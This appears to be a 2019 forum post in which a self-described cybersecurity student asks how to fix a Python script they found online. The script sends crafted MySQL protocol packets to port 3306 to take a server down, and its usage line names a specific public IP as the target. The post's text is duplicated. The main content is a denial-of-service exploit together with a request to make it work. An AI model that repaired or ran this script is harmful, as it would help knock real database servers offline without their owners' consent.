May-23-2019, 07:53 PM
Hello, I am new to this forum.
I'm a cybersec Student and i found some code from the internet i try to modify it and try to execute it but it end up giving "socket.gaierror: [Errno -2] Name or service not known"
Here is the CODE :
i have spent hours sitting in front of my laptop to try to figure this out but end up nothing.
I'm a cybersec Student and i found some code from the internet i try to modify it and try to execute it but it end up giving "socket.gaierror: [Errno -2] Name or service not known"
Here is the CODE :
import socket, sys buf=("&\x00\x00\x01\x85\xa2\x03\x00\x00\x00\x00@\x93\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00root\x00\x00") buf2=("\x11\x00\x00\x00\x03set autocommit30") def usage():print("usage : ./mysql.py 45.64.169.25") print("example: ./mysql.py 192.168.1.22") def main(): if len(sys.argv) != 2: usage() sys.exit() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) HOST = sys.argv[0] PORT = int(3306) s.connect((HOST,PORT)) print("[*] Connect") s.send(buf) print("[*] Payload 1 sent") s.send(buf2) print("[*] Payload 2 sent\n", "[*] Run again to ensure it is down..\n") s.close() if __name__ == "__main__":main()how can i fix the error and let the code execute and run normally??
i have spent hours sitting in front of my laptop to try to figure this out but end up nothing.